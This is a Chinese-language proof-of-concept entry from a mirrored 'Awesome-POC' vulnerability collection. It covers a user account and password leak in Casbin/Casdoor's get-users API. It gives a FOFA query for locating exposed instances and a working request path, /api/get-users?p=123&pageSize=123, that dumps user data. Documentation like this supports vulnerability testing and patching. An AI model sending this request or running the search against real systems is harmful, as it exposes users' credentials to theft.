admin/Awesome-POC
1
0
Fork 0
mirror of https://github.com/Threekiii/Awesome-POC.git synced 2025-11-07 03:44:10 +00:00
Code Issues Packages Projects Releases Wiki Activity
Awesome-POC/Web应用漏洞/Casbin get-users 账号密码泄漏漏洞.md
Threekiii e2cd1e452c 更新漏洞库：Web应用漏洞/
2022-05-24 17:29:00 +08:00

542 B
Raw Blame History

Casbin get-users 账号密码泄漏漏洞

漏洞描述

Casbin get-users api接口存在账号密码泄漏漏洞，攻击者通过漏洞可以获取用户敏感信息

漏洞影响

Casbin

FOFA

title="Casdoor"

漏洞复现

登录页面

image-20220524143206718

验证POC

/api/get-users?p=123&pageSize=123

image-20220524143215583